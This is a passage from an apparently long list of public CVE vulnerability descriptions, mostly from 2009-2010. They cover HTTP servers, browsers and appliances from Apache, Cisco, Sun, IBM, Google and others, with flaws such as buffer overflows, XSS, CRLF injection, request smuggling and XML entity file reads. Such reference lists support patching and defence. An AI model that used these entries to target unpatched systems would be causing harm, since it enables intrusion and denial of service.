12058| [CVE-2010-3312] Epiphany 2.28 and 2.29, when WebKit and LibSoup are used, unconditionally displays a closed-lock icon for any URL beginning with the https: substring, without any warning to the user, which allows man-in-the-middle attackers to spoof arbitrary https web sites via a crafted X.509 server certificate.
12059| [CVE-2010-3281] Stack-based buffer overflow in the HTTP proxy service in Alcatel-Lucent OmniVista 4760 server before R5.1.06.03.c_Patch3 allows remote attackers to execute arbitrary code or cause a denial of service (service crash) via a long request.
12060| [CVE-2010-3260] oxf/xml/xerces/XercesSAXParserFactoryImpl.java in the xforms-server component in the XForms service in Orbeon Forms before 3.9 does not properly restrict DTDs in Ajax requests, which allows remote attackers to read arbitrary files or send HTTP requests to intranet servers via an entity declaration in conjunction with an entity reference, related to an "XML injection" issue.
12061| [CVE-2010-3172] CRLF injection vulnerability in Bugzilla before 3.2.9, 3.4.x before 3.4.9, 3.6.x before 3.6.3, and 4.0.x before 4.0rc1, when Server Push is enabled in a web browser, allows remote attackers to inject arbitrary HTTP headers and content, and conduct HTTP response splitting attacks, via a crafted URL.
12062| [CVE-2010-3011] CRLF injection vulnerability in HP System Management Homepage (SMH) before 6.2 allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via unspecified vectors.
12063| [CVE-2010-2836] Memory leak in the SSL VPN feature in Cisco IOS 12.4, 15.0, and 15.1, when HTTP port redirection is enabled, allows remote attackers to cause a denial of service (memory consumption) by improperly disconnecting SSL sessions, leading to connections that remain in the CLOSE-WAIT state, aka Bug ID CSCtg21685.
12064| [CVE-2010-2823] Unspecified vulnerability in the deep packet inspection feature on the Cisco Application Control Engine (ACE) 4710 appliance with software before A3(2.6) allows remote attackers to cause a denial of service (device reload) via crafted HTTP packets, related to HTTP, RTSP, and SIP inspection, aka Bug ID CSCtb54493.
12065| [CVE-2010-2791] mod_proxy in httpd in Apache HTTP Server 2.2.9, when running on Unix, does not close the backend connection if a timeout occurs when reading a response from a persistent connection, which allows remote attackers to obtain a potentially sensitive response intended for a different client in opportunistic circumstances via a normal HTTP request. NOTE: this is the same issue as CVE-2010-2068, but for a different OS and set of affected versions.
12066| [CVE-2010-2787] api.php in MediaWiki before 1.15.5 does not prevent use of public caching headers for private data, which allows remote attackers to bypass intended access restrictions and obtain sensitive information by retrieving documents from an HTTP proxy cache that has been used by a victim.
12067| [CVE-2010-2764] Mozilla Firefox before 3.5.12 and 3.6.x before 3.6.9, Thunderbird before 3.0.7 and 3.1.x before 3.1.3, and SeaMonkey before 2.0.7 do not properly restrict read access to the statusText property of XMLHttpRequest objects, which allows remote attackers to discover the existence of intranet web servers via cross-origin requests.
12068| [CVE-2010-2761] The multipart_init function in (1) CGI.pm before 3.50 and (2) Simple.pm in CGI::Simple 1.112 and earlier uses a hardcoded value of the MIME boundary string in multipart/x-mixed-replace content, which allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via crafted input that contains this value, a different vulnerability than CVE-2010-3172.
12069| [CVE-2010-2704] Buffer overflow in HP OpenView Network Node Manager (OV NNM) 7.51 and 7.53 allows remote attackers to execute arbitrary code via a long HTTP request to nnmrptconfig.exe.
12070| [CVE-2010-2703] Stack-based buffer overflow in the execvp_nc function in the ov.dll module in HP OpenView Network Node Manager (OV NNM) 7.51 and 7.53, when running on Windows, allows remote attackers to execute arbitrary code via a long HTTP request to webappmon.exe.
12071| [CVE-2010-2629] The Cisco Content Services Switch (CSS) 11500 with software 8.20.4.02 and the Application Control Engine (ACE) 4710 with software A2(3.0) do not properly handle LF header terminators in situations where the GET line is terminated by CRLF, which allows remote attackers to conduct HTTP request smuggling attacks and possibly bypass intended header insertions via crafted header data, as demonstrated by an LF character between the ClientCert-Subject and ClientCert-Subject-CN headers. NOTE: this vulnerability exists because of an incomplete fix for CVE-2010-1576.
12072| [CVE-2010-2584] The Upload method in the RealPage Module Upload ActiveX control in Realpage.dll 1.0.0.9 in RealPage Module ActiveX Controls does not properly restrict certain property values, which allows remote attackers to read arbitrary files via a filename in the SourceFile property in conjunction with an http URL in the DestURL property.
12073| [CVE-2010-2561] Microsoft XML Core Services (aka MSXML) 3.0 does not properly handle HTTP responses, which allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted response, aka "Msxml2.XMLHTTP.3.0 Response Handling Memory Corruption Vulnerability."
12074| [CVE-2010-2504] Splunk 4.0 through 4.0.10 and 4.1 through 4.1.1 allows remote authenticated users to obtain sensitive information via HTTP header injection, aka SPL-31066.
12075| [CVE-2010-2493] The default configuration of the deployment descriptor (aka web.xml) in picketlink-sts.war in (1) the security_saml quickstart, (2) the webservice_proxy_security quickstart, (3) the web-console application, (4) the http-invoker application, (5) the gpd-deployer application, (6) the jbpm-console application, (7) the contract application, and (8) the uddi-console application in JBoss Enterprise SOA Platform before 5.0.2 contains GET and POST http-method elements, which allows remote attackers to bypass intended access restrictions via a crafted HTTP request.
12076| [CVE-2010-2477] Multiple cross-site scripting (XSS) vulnerabilities in the paste.httpexceptions implementation in Paste before 1.7.4 allow remote attackers to inject arbitrary web script or HTML via vectors involving a 404 status code, related to (1) paste.urlparser.StaticURLParser, (2) paste.urlparser.PkgResourcesParser, (3) paste.urlmap.URLMap, and (4) HTTPNotFound.
12077| [CVE-2010-2465] The S2 Security NetBox 2.5, 3.3, and 4.0, as used in the Linear eMerge 50 and 5000 and the Sonitrol eAccess, stores sensitive information under the web root with insufficient access control, which allows remote attackers to download node logs, photographs of persons, and backup files via unspecified HTTP requests.
12078| [CVE-2010-2435] Weborf HTTP Server 0.12.1 and earlier allows remote attackers to cause a denial of service (crash) via Unicode characters in a Connection HTTP header, and possibly other headers.
12079| [CVE-2010-2432] The cupsDoAuthentication function in auth.c in the client in CUPS before 1.4.4, when HAVE_GSSAPI is omitted, does not properly handle a demand for authorization, which allows remote CUPS servers to cause a denial of service (infinite loop) via HTTP_UNAUTHORIZED responses.
12080| [CVE-2010-2429] Cross-site scripting (XSS) vulnerability in Splunk 4.0 through 4.1.2, when Internet Explorer is used, allows remote attackers to inject arbitrary web script or HTML via the HTTP Referer in a "404 Not Found" response.
12081| [CVE-2010-2333] LiteSpeed Technologies LiteSpeed Web Server 4.0.x before 4.0.15 allows remote attackers to read the source code of scripts via an HTTP request with a null byte followed by a .txt file extension.
12082| [CVE-2010-2328] The HTTP Channel in IBM WebSphere Application Server (WAS) 7.0 before 7.0.0.11 allows remote attackers to cause a denial of service (NullPointerException) via a large amount of chunked data that uses gzip compression.
12083| [CVE-2010-2327] mod_ibm_ssl in IBM HTTP Server 6.0 before 6.0.2.43, 6.1 before 6.1.0.33, and 7.0 before 7.0.0.11, as used in IBM WebSphere Application Server (WAS) on z/OS, does not properly handle a large HTTP request body in uploading over SSL, which might allow remote attackers to cause a denial of service (daemon fail) via an upload.
12084| [CVE-2010-2320] bozotic HTTP server (aka bozohttpd) before 20100621 allows remote attackers to list the contents of home directories, and determine the existence of user accounts, via multiple requests for URIs beginning with /~ sequences.
12085| [CVE-2010-2279] The Top Updates implementation in the Homepage component in IBM Lotus Connections 2.5.x before 2.5.0.2, when "forced SSL" is enabled, uses http for links, which has unspecified impact and remote attack vectors.
12086| [CVE-2010-2270] Accoria Web Server (aka Rock Web Server) 1.4.7 uses a predictable httpmod-sessionid cookie, which makes it easier for remote attackers to hijack sessions via a modified cookie.
12087| [CVE-2010-2267] Multiple cross-site scripting (XSS) vulnerabilities in Accoria Web Server (aka Rock Web Server) 1.4.7 allow remote attackers to inject arbitrary web script or HTML via (1) the query string to the getenv sample program, (2) the desc parameter to loadstatic.cgi, (3) the name parameter to httpdcfg.cgi, or (4) the dns parameter to servercfg.cgi.
12088| [CVE-2010-2195] bozotic HTTP server (aka bozohttpd) 20090522 through 20100512 allows attackers to cause a denial of service via vectors related to a "wrong code generation interaction with GCC."
12089| [CVE-2010-2102] Buffer overflow in Webby Webserver 1.01 allows remote attackers to execute arbitrary code via a long HTTP GET request.
12090| [CVE-2010-2100] The (1) htmlentities, (2) htmlspecialchars, (3) str_getcsv, (4) http_build_query, (5) strpbrk, and (6) strtr functions in PHP 5.2 through 5.2.13 and 5.3 through 5.3.2 allow context-dependent attackers to obtain sensitive information (memory contents) by causing a userspace interruption of an internal function, related to the call time pass by reference feature.
12091| [CVE-2010-2076] Apache CXF 2.0.x before 2.0.13, 2.1.x before 2.1.10, and 2.2.x before 2.2.9, as used in Apache ServiceMix, Apache Camel, Apache Chemistry, Apache jUDDI, Apache Geronimo, and other products, does not properly reject DTDs in SOAP messages, which allows remote attackers to read arbitrary files, send HTTP requests to intranet servers, or cause a denial of service (CPU and memory consumption) via a crafted DTD, as demonstrated by an entity declaration in a request to samples/wsdl_first_pure_xml, a similar issue to CVE-2010-1632.
12092| [CVE-2010-2068] mod_proxy_http.c in mod_proxy_http in the Apache HTTP Server 2.2.9 through 2.2.15, 2.3.4-alpha, and 2.3.5-alpha on Windows, NetWare, and OS/2, in certain configurations involving proxy worker pools, does not properly detect timeouts, which allows remote attackers to obtain a potentially sensitive response intended for a different client in opportunistic circumstances via a normal HTTP request.
12093| [CVE-2010-2054] Integer overflow in httpAdapter.c in httpAdapter in SBLIM SFCB 1.3.4 through 1.3.7, when the configuration sets httpMaxContentLength to a zero value, allows remote attackers to cause a denial of service (heap memory corruption) or possibly execute arbitrary code via a large integer in the Content-Length HTTP header, aka bug #3001915. NOTE: some of these details are obtained from third party information.
12094| [CVE-2010-1940] Apple Safari 4.0.5 on Windows sends the "Authorization: Basic" header appropriate for one web site to a different web site named in a Location header received from the first site, which allows remote web servers to obtain sensitive information by logging HTTP requests. NOTE: the provenance of this information is unknown
12095| [CVE-2010-1937] Heap-based buffer overflow in httpAdapter.c in httpAdapter in SBLIM SFCB before 1.3.8 might allow remote attackers to execute arbitrary code via a Content-Length HTTP header that specifies a value too small for the amount of POST data, aka bug #3001896.
12096| [CVE-2010-1908] The SdcUser.TgConCtl ActiveX control in tgctlcm.dll in Consona Live Assistance, Dynamic Agent, and Subscriber Assistance does not properly restrict access to the HTTPDownloadFile, HTTPGetFile, Install, and RunCmd methods, which allows remote attackers to execute arbitrary programs via a URL in the url argument to (1) HTTPDownloadFile or (2) HTTPGetFile.
12097| [CVE-2010-1866] The dechunk filter in PHP 5.3 through 5.3.2, when decoding an HTTP chunked encoding stream, allows context-dependent attackers to cause a denial of service (crash) and possibly trigger memory corruption via a negative chunk size, which bypasses a signed comparison, related to an integer overflow in the chunk size decoder.
12098| [CVE-2010-1852] Microsoft Internet Explorer, when the Invisible Hand extension is enabled, uses cookies during background HTTP requests in a possibly unexpected manner, which might allow remote web servers to identify specific persons and their product searches via HTTP request logging, related to a "cross-site data leakage" issue.
12099| [CVE-2010-1851] Google Chrome, when the Invisible Hand extension is enabled, uses cookies during background HTTP requests in a possibly unexpected manner, which might allow remote web servers to identify specific persons and their product searches via HTTP request logging, related to a "cross-site data leakage" issue.
12100| [CVE-2010-1767] Cross-site request forgery (CSRF) vulnerability in loader/DocumentThreadableLoader.cpp in WebCore in WebKit before r57041, as used in Google Chrome before 4.1.249.1059, allows remote attackers to hijack the authentication of unspecified victims via a crafted synchronous preflight XMLHttpRequest operation.
12101| [CVE-2010-1760] loader/DocumentThreadableLoader.cpp in the XMLHttpRequest implementation in WebCore in WebKit before r58409 does not properly handle credentials during a cross-origin synchronous request, which has unspecified impact and remote attack vectors, aka rdar problem 7905150.
12102| [CVE-2010-1632] Apache Axis2 before 1.5.2, as used in IBM WebSphere Application Server (WAS) 7.0 through 7.0.0.12, IBM Feature Pack for Web Services 6.1.0.9 through 6.1.0.32, IBM Feature Pack for Web 2.0 1.0.1.0, Apache Synapse, Apache ODE, Apache Tuscany, Apache Geronimo, and other products, does not properly reject DTDs in SOAP messages, which allows remote attackers to read arbitrary files, send HTTP requests to intranet servers, or cause a denial of service (CPU and memory consumption) via a crafted DTD, as demonstrated by an entity declaration in a request to the Synapse SimpleStockQuoteService.
12103| [CVE-2010-1623] Memory leak in the apr_brigade_split_line function in buckets/apr_brigade.c in the Apache Portable Runtime Utility library (aka APR-util) before 1.3.10, as used in the mod_reqtimeout module in the Apache HTTP Server and other software, allows remote attackers to cause a denial of service (memory consumption) via unspecified vectors related to the destruction of an APR bucket.
12104| [CVE-2010-1622] SpringSource Spring Framework 2.5.x before 2.5.6.SEC02, 2.5.7 before 2.5.7.SR01, and 3.0.x before 3.0.3 allows remote attackers to execute arbitrary code via an HTTP request containing class.classLoader.URLs[0]=jar: followed by a URL of a crafted .jar file.
12105| [CVE-2010-1612] The IBM WebSphere DataPower XML Accelerator XA35, Low Latency Appliance XM70, Integration Appliance XI50, B2B Appliance XB60, and XML Security Gateway XS40 SOA Appliances before 3.8.0.0, when a QLOGIC Ethernet interface is used, allow remote attackers to cause a denial of service (interface outage) via malformed ICMP packets to the 0.0.0.0 destination IP address.
12106| [CVE-2010-1576] The Cisco Content Services Switch (CSS) 11500 with software before 8.20.4.02 and the Application Control Engine (ACE) 4710 with software before A2(3.0) do not properly handle use of LF, CR, and LFCR as alternatives to the standard CRLF sequence between HTTP headers, which allows remote attackers to bypass intended header insertions or conduct HTTP request smuggling attacks via crafted header data, as demonstrated by LF characters preceding ClientCert-Subject and ClientCert-Subject-CN headers, aka Bug ID CSCta04885.
12107| [CVE-2010-1544] micro_httpd on the RCA DCM425 cable modem allows remote attackers to cause a denial of service (device reboot) via a long string to TCP port 80.
12108| [CVE-2010-1452] The (1) mod_cache and (2) mod_dav modules in the Apache HTTP Server 2.2.x before 2.2.16 allow remote attackers to cause a denial of service (process crash) via a request that lacks a path.
12109| [CVE-2010-1406] WebKit in Apple Safari before 5.0 on Mac OS X 10.5 through 10.6 and Windows, and before 4.1 on Mac OS X 10.4, sends an https URL in the Referer header of an http request in certain circumstances involving https to http redirection, which allows remote HTTP servers to obtain potentially sensitive information via standard HTTP logging, a related issue to CVE-2010-0660.
12110| [CVE-2010-1384] Apple Safari before 5.0 on Mac OS X 10.5 through 10.6 and Windows, and before 4.1 on Mac OS X 10.4, does not provide a warning about a (1) http or (2) https URL that contains a username and password, which makes it easier for remote attackers to conduct phishing attacks via a crafted URL.
12111| [CVE-2010-1234] Unspecified vulnerability in Google Chrome before 4.1.249.1036 allows remote attackers to truncate the URL shown in the HTTP Basic Authentication dialog via unknown vectors.
12112| [CVE-2010-1231] Google Chrome before 4.1.249.1036 processes HTTP headers before invoking the SafeBrowsing feature, which allows remote attackers to have an unspecified impact via crafted headers.
12113| [CVE-2010-1226] The HTTP client functionality in Apple iPhone OS 3.1 on the iPhone 2G and 3.1.3 on the iPhone 3GS allows remote attackers to cause a denial of service (Safari, Mail, or Springboard crash) via a crafted innerHTML property of a DIV element, related to a "malformed character" issue.
12114| [CVE-2010-1197] Mozilla Firefox 3.5.x before 3.5.10 and 3.6.x before 3.6.4, and SeaMonkey before 2.0.5, does not properly handle situations in which both "Content-Disposition: attachment" and "Content-Type: multipart" are present in HTTP headers, which allows remote attackers to conduct cross-site scripting (XSS) attacks via an uploaded HTML document.
12115| [CVE-2010-1151] Race condition in the mod_auth_shadow module for the Apache HTTP Server allows remote attackers to bypass authentication, and read and possibly modify data, via vectors related to improper interaction with an external helper application for validation of credentials.
12116| [CVE-2010-1044] SQL injection vulnerability in Login.do in ManageEngine OpUtils 5.0 allows remote attackers to execute arbitrary SQL commands via the isHttpPort parameter.
12117| [CVE-2010-0660] Google Chrome before 4.0.249.78 sends an https URL in the Referer header of an http request in certain circumstances involving https to http redirection, which allows remote HTTP servers to obtain potentially sensitive information via standard HTTP logging.
12118| [CVE-2010-0656] WebKit before r51295, as used in Google Chrome before 4.0.249.78, presents a directory-listing page in response to an XMLHttpRequest for a file:/// URL that corresponds to a directory, which allows attackers to obtain sensitive information or possibly have unspecified other impact via a crafted local HTML document.
12119| [CVE-2010-0652] Microsoft Internet Explorer permits cross-origin loading of CSS stylesheets even when the stylesheet download has an incorrect MIME type and the stylesheet document is malformed, which allows remote HTTP servers to obtain sensitive information via a crafted document.
12120| [CVE-2010-0643] Google Chrome before 4.0.249.89 attempts to make direct connections to web sites when all configured proxy servers are unavailable, which allows remote HTTP servers to obtain potentially sensitive information about the identity of a client user via standard HTTP logging, as demonstrated by a proxy server that was configured for the purpose of anonymity.
12121| [CVE-2010-0600] Cisco Mediator Framework 1.5.1 before 1.5.1.build.14-eng, 2.2 before 2.2.1.dev.1, and 3.0 before 3.0.9.release.1 on the Cisco Network Building Mediator NBM-2400 and NBM-4800 and the Richards-Zeta Mediator 2500 does not properly restrict network access to an unspecified configuration file, which allows remote attackers to read passwords and unspecified other account details via a (1) XML RPC or (2) XML RPC over HTTPS session, aka Bug ID CSCtb83512.
12122| [CVE-2010-0598] Cisco Mediator Framework 1.5.1 before 1.5.1.build.14-eng, 2.2 before 2.2.1.dev.1, and 3.0 before 3.0.9.release.1 on the Cisco Network Building Mediator NBM-2400 and NBM-4800 and the Richards-Zeta Mediator 2500 does not encrypt HTTP sessions from operator workstations, which allows remote attackers to discover Administrator credentials by sniffing the network, aka Bug ID CSCtb83631.
12123| [CVE-2010-0597] Unspecified vulnerability in Cisco Mediator Framework 1.5.1 before 1.5.1.build.14-eng, 2.2 before 2.2.1.dev.1, and 3.0 before 3.0.9.release.1 on the Cisco Network Building Mediator NBM-2400 and NBM-4800 and the Richards-Zeta Mediator 2500 allows remote authenticated users to read or modify the device configuration, and gain privileges or cause a denial of service (device reload), via a (1) XML RPC or (2) XML RPC over HTTPS request, aka Bug ID CSCtb83618.
12124| [CVE-2010-0596] Unspecified vulnerability in Cisco Mediator Framework 2.2 before 2.2.1.dev.1 and 3.0 before 3.0.9.release.1 on the Cisco Network Building Mediator NBM-2400 and NBM-4800 and the Richards-Zeta Mediator 2500 allows remote authenticated users to read or modify the device configuration, and gain privileges, via a (1) HTTP or (2) HTTPS request, aka Bug ID CSCtb83607.
12125| [CVE-2010-0556] browser/login/login_prompt.cc in Google Chrome before 4.0.249.89 populates an authentication dialog with credentials that were stored by Password Manager for a different web site, which allows user-assisted remote HTTP servers to obtain sensitive information via a URL that requires authentication, as demonstrated by a URL in the SRC attribute of an IMG element.
12126| [CVE-2010-0554] The HTTP Authentication implementation in Geo++ GNCASTER 1.4.0.7 and earlier uses the same nonce for all authentication, which allows remote attackers to hijack web sessions or bypass authentication via a replay attack.
12127| [CVE-2010-0551] HTTP authentication implementation in Geo++ GNCASTER 1.4.0.7 and earlier allows remote attackers to read authentication headers of other users via a large request with an incorrect authentication attempt, which includes sensitive memory in the response. NOTE: this is referred to as a "memory leak" by some sources, but is better characterized as "memory disclosure."
12128| [CVE-2010-0550] admin.htm in Geo++ GNCASTER 1.4.0.7 and earlier does not properly enforce HTTP Digest Authentication, which allows remote authenticated users to use HTTP Basic Authentication, bypassing intended server policy.
12129| [CVE-2010-0541] Cross-site scripting (XSS) vulnerability in the WEBrick HTTP server in Ruby in Apple Mac OS X 10.5.8, and 10.6 before 10.6.4, allows remote attackers to inject arbitrary web script or HTML via a crafted URI that triggers a UTF-7 error page.
12130| [CVE-2010-0534] Wiki Server in Apple Mac OS X 10.6 before 10.6.3 does not enforce the service access control list (SACL) for weblogs during weblog creation, which allows remote authenticated users to publish content via HTTP requests.
12131| [CVE-2010-0434] The ap_read_request function in server/protocol.c in the Apache HTTP Server 2.2.x before 2.2.15, when a multithreaded MPM is used, does not properly handle headers in subrequests in certain circumstances involving a parent request that has a body, which might allow remote attackers to obtain sensitive information via a crafted request that triggers access to memory locations associated with an earlier request.
12132| [CVE-2010-0425] modules/arch/win32/mod_isapi.c in mod_isapi in the Apache HTTP Server 2.0.37 through 2.0.63, 2.2.0 through 2.2.14, and 2.3.x before 2.3.7, when running on Windows, does not ensure that request processing is complete before calling isapi_unload for an ISAPI .dll module, which allows remote attackers to execute arbitrary code via unspecified vectors related to a crafted request, a reset packet, and "orphaned callback pointers."
12133| [CVE-2010-0408] The ap_proxy_ajp_request function in mod_proxy_ajp.c in mod_proxy_ajp in the Apache HTTP Server 2.2.x before 2.2.15 does not properly handle certain situations in which a client sends no request body, which allows remote attackers to cause a denial of service (backend server outage) via a crafted request, related to use of a 500 error code instead of the appropriate 400 error code.
12134| [CVE-2010-0394] PyGIT.py in the Trac Git plugin (trac-git) before 0.0.20080710-3+lenny1 and before 0.0.20090320-1 on Debian GNU/Linux, when enabled in Trac, allows remote attackers to execute arbitrary commands via shell metacharacters in a crafted HTTP query that is used to generate a certain git command.
12135| [CVE-2010-0389] The admin server in Sun Java System Web Server 7.0 Update 6 allows remote attackers to cause a denial of service (NULL pointer dereference and daemon crash) via an HTTP request that lacks a method token.
12136| [CVE-2010-0387] Multiple heap-based buffer overflows in (1) webservd and (2) the admin server in Sun Java System Web Server 7.0 Update 7 allow remote attackers to cause a denial of service (daemon crash) and possibly have unspecified other impact via a long string in an "Authorization: Digest" HTTP header.
12137| [CVE-2010-0386] The default configuration of Sun Java System Application Server 7 and 7 2004Q2 enables the HTTP TRACE method, which makes it easier for remote attackers to steal cookies and authentication credentials via a cross-site tracing (XST) attack, a related issue to CVE-2004-2763 and CVE-2005-3398.
12138| [CVE-2010-0361] Stack-based buffer overflow in the WebDAV implementation in webservd in Sun Java System Web Server (aka SJWS) 7.0 Update 7 allows remote attackers to cause a denial of service (daemon crash) and possibly have unspecified other impact via a long URI in an HTTP OPTIONS request.
12139| [CVE-2010-0360] Sun Java System Web Server (aka SJWS) 7.0 Update 7 allows remote attackers to overwrite memory locations in the heap, and discover the contents of memory locations, via a malformed HTTP TRACE request that includes a long URI and many empty headers, related to an "overflow." NOTE: this might overlap CVE-2010-0272 and CVE-2010-0273.
12140| [CVE-2010-0295] lighttpd before 1.4.26, and 1.5.x, allocates a buffer for each read operation that occurs for a request, which allows remote attackers to cause a denial of service (memory consumption) by breaking a request into small pieces that are sent at a slow rate.
12141| [CVE-2010-0214] The administrative interface on the PolyVision RoomWizard with firmware 3.2.3 places the Sync Connector Active Directory (AD) credentials in a web form that is accessed over HTTP on port 80, which allows remote attackers to obtain sensitive information by reading the HTML source code corresponding to the /admin/sign/DeviceSynch URI.
12142| [CVE-2010-0179] Mozilla Firefox before 3.0.19 and 3.5.x before 3.5.8, and SeaMonkey before 2.0.3, when the XMLHttpRequestSpy module in the Firebug add-on is used, does not properly handle interaction between the XMLHttpRequestSpy object and chrome privileged objects, which allows remote attackers to execute arbitrary JavaScript via a crafted HTTP response.
12143| [CVE-2010-0172] toolkit/components/passwordmgr/src/nsLoginManagerPrompter.js in the asynchronous Authorization Prompt implementation in Mozilla Firefox 3.6 before 3.6.2 does not properly handle concurrent authorization requests from multiple web sites, which might allow remote web servers to spoof an authorization dialog and capture credentials by demanding HTTP authentication in opportunistic circumstances.
12144| [CVE-2010-0155] CRLF injection vulnerability in load.php in the Local Management Interface (LMI) on the IBM Proventia Network Mail Security System (PNMSS) appliance with firmware before 2.5 allows remote authenticated users to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via the javaVersion parameter.
12145| [CVE-2010-0145] Unspecified vulnerability in the embedded HTTPS server on the Cisco IronPort Encryption Appliance 6.2.x before 6.2.9.1 and 6.5.x before 6.5.2, and the IronPort PostX MAP before 6.2.9.1, allows remote attackers to execute arbitrary code via unknown vectors, aka IronPort Bug 65923.
12146| [CVE-2010-0144] Unspecified vulnerability in the WebSafe DistributorServlet in the embedded HTTPS server on the Cisco IronPort Encryption Appliance 6.2.x before 6.2.9.1 and 6.5.x before 6.5.2, and the IronPort PostX MAP before 6.2.9.1, allows remote attackers to read arbitrary files via unknown vectors, aka IronPort Bug 65922.
12147| [CVE-2010-0143] Unspecified vulnerability in the administrative interface in the embedded HTTPS server on the Cisco IronPort Encryption Appliance 6.2.x before 6.2.9.1 and 6.5.x before 6.5.2, and the IronPort PostX MAP before 6.2.9.1, allows remote attackers to read arbitrary files via unknown vectors, aka IronPort Bug 65921.
12148| [CVE-2010-0101] The embedded HTTP server in multiple Lexmark laser and inkjet printers and MarkNet devices, including X94x, W840, T656, N4000, E462, C935dn, 25xxN, and other models, allows remote attackers to cause a denial of service (operating system halt) via a malformed HTTP Authorization header.
12149| [CVE-2010-0010] Integer overflow in the ap_proxy_send_fb function in proxy/proxy_util.c in mod_proxy in the Apache HTTP Server before 1.3.42 on 64-bit platforms allows remote origin servers to cause a denial of service (daemon crash) or possibly execute arbitrary code via a large chunk size that triggers a heap-based buffer overflow.
12150| [CVE-2009-5117] The Web Post Protection feature in McAfee Host Data Loss Prevention (DLP) 3.x before 3.0.100.10 and 9.x before 9.0.0.422, when HTTP Capture mode is enabled, allows local users to obtain sensitive information from web traffic by reading unspecified files.
12151| [CVE-2009-5111] GoAhead WebServer allows remote attackers to cause a denial of service (daemon outage) via partial HTTP requests, as demonstrated by Slowloris.
12152| [CVE-2009-5110] dhttpd allows remote attackers to cause a denial of service (daemon outage) via partial HTTP requests, as demonstrated by Slowloris.
12153| [CVE-2009-5087] Directory traversal vulnerability in geohttpserver in Geovision Digital Video Surveillance System 8.2 allows remote attackers to read arbitrary files via a .. (dot dot) in a GET request.
12154| [CVE-2009-5051] Hastymail2 before RC 8 does not set the secure flag for the session cookie in an https session, which makes it easier for remote attackers to capture this cookie by intercepting its transmission within an http session.
12155| [CVE-2009-4912] Cisco Adaptive Security Appliances (ASA) 5580 series devices with software before 8.1(2) complete an SSL handshake with an HTTPS client even if this client is unauthorized, which might allow remote attackers to bypass intended access restrictions via an HTTPS session, aka Bug ID CSCso10876.
12156| [CVE-2009-4909] admin/index.php in oBlog allows remote attackers to conduct brute-force password guessing attacks via HTTP requests.
12157| [CVE-2009-4873] Stack-based buffer overflow in the HTTP server in Rhino Software Serv-U Web Client 9.0.0.5 allows remote attackers to cause a denial of service (server crash) or execute arbitrary code via a long Session cookie.
12158| [CVE-2009-4788] Multiple open redirect vulnerabilities in Pligg 1.0.2 and earlier allow remote attackers to redirect users to arbitrary web sites and conduct phishing attacks via the (1) return parameter to pligg/login.php and the (2) HTTP Referer header to user_settings.php.
12159| [CVE-2009-4786] Multiple cross-site scripting (XSS) vulnerabilities in Pligg before 1.0.3 allow remote attackers to inject arbitrary web script or HTML via the HTTP Referer header to (1) admin/admin_config.php, (2) admin/admin_modules.php, (3) delete.php, (4) editlink.php, (5) submit.php, (6) submit_groups.php, (7) user_add_remove_links.php, and (8) user_settings.php.
12160| [CVE-2009-4775] Format string vulnerability in Ipswitch WS_FTP Professional 12 before 12.2 allows remote attackers to cause a denial of service (crash) via format string specifiers in the status code portion of an HTTP response.
12161| [CVE-2009-4770] The FTP server component in httpdx 1.4, 1.4.5, 1.4.6, 1.4.6b, and 1.5 has a default password of pass123 for the moderator account, which makes it easier for remote attackers to obtain privileged access.
12162| [CVE-2009-4769] Multiple format string vulnerabilities in the tolog function in httpdx 1.4, 1.4.5, 1.4.6, 1.4.6b, and 1.5 allow (1) remote attackers to execute arbitrary code via format string specifiers in a GET request to the HTTP server component when logging is enabled, and allow (2) remote authenticated users to execute arbitrary code via format string specifiers in a PWD command to the FTP server component.
12163| [CVE-2009-4654] Stack-based buffer overflow in the dhost module in Novell eDirectory 8.8 SP5 for Windows allows remote authenticated users to execute arbitrary code via long sadminpwd and verifypwd parameters in a submit action to /dhost/httpstk.
12164| [CVE-2009-4611] Mort Bay Jetty 6.x and 7.0.0 writes backtrace data without sanitizing non-printable characters, which might allow remote attackers to modify a window's title, or possibly execute arbitrary commands or overwrite files, via an HTTP request containing an escape sequence for a terminal emulator, related to (1) a string value in the Age parameter to the default URI for the Cookie Dump Servlet in test-jetty-webapp/src/main/java/com/acme/CookieDump.java under cookie/, (2) an alphabetic value in the A parameter to jsp/expr.jsp, or (3) an alphabetic value in the Content-Length HTTP header to an arbitrary application.
12165| [CVE-2009-4531] httpdx 1.4.4 and earlier allows remote attackers to obtain the source code for a web page by appending a . (dot) character to the URI.
12166| [CVE-2009-4509] The administrative web console on the TANDBERG Video Communication Server (VCS) before X4.3 uses predictable session cookies in (1) tandberg/web/lib/secure.php and (2) tandberg/web/user/lib/secure.php, which makes it easier for remote attackers to bypass authentication, and execute arbitrary code by loading a custom software update, via a crafted "Cookie: tandberg_login=" HTTP header.
12167| [CVE-2009-4496] Boa 0.94.14rc21 writes data to a log file without sanitizing non-printable characters, which might allow remote attackers to modify a window's title, or possibly execute arbitrary commands or overwrite files, via an HTTP request containing an escape sequence for a terminal emulator.
12168| [CVE-2009-4495] Yaws 1.85 writes data to a log file without sanitizing non-printable characters, which might allow remote attackers to modify a window's title, or possibly execute arbitrary commands or overwrite files, via an HTTP request containing an escape sequence for a terminal emulator.
12169| [CVE-2009-4494] AOLserver 4.5.1 writes data to a log file without sanitizing non-printable characters, which might allow remote attackers to modify a window's title, or possibly execute arbitrary commands or overwrite files, via an HTTP request containing an escape sequence for a terminal emulator.
12170| [CVE-2009-4493] Orion Application Server 2.0.7 writes data to a log file without sanitizing non-printable characters, which might allow remote attackers to modify a window's title, or possibly execute arbitrary commands or overwrite files, via an HTTP request containing an escape sequence for a terminal emulator.
12171| [CVE-2009-4492] WEBrick 1.3.1 in Ruby 1.8.6 through patchlevel 383, 1.8.7 through patchlevel 248, 1.8.8dev, 1.9.1 through patchlevel 376, and 1.9.2dev writes data to a log file without sanitizing non-printable characters, which might allow remote attackers to modify a window's title, or possibly execute arbitrary commands or overwrite files, via an HTTP request containing an escape sequence for a terminal emulator.
12172| [CVE-2009-4491] thttpd 2.25b0 writes data to a log file without sanitizing non-printable characters, which might allow remote attackers to modify a window's title, or possibly execute arbitrary commands or overwrite files, via an HTTP request containing an escape sequence for a terminal emulator.
12173| [CVE-2009-4490] mini_httpd 1.19 writes data to a log file without sanitizing non-printable characters, which might allow remote attackers to modify a window's title, or possibly execute arbitrary commands or overwrite files, via an HTTP request containing an escape sequence for a terminal emulator.
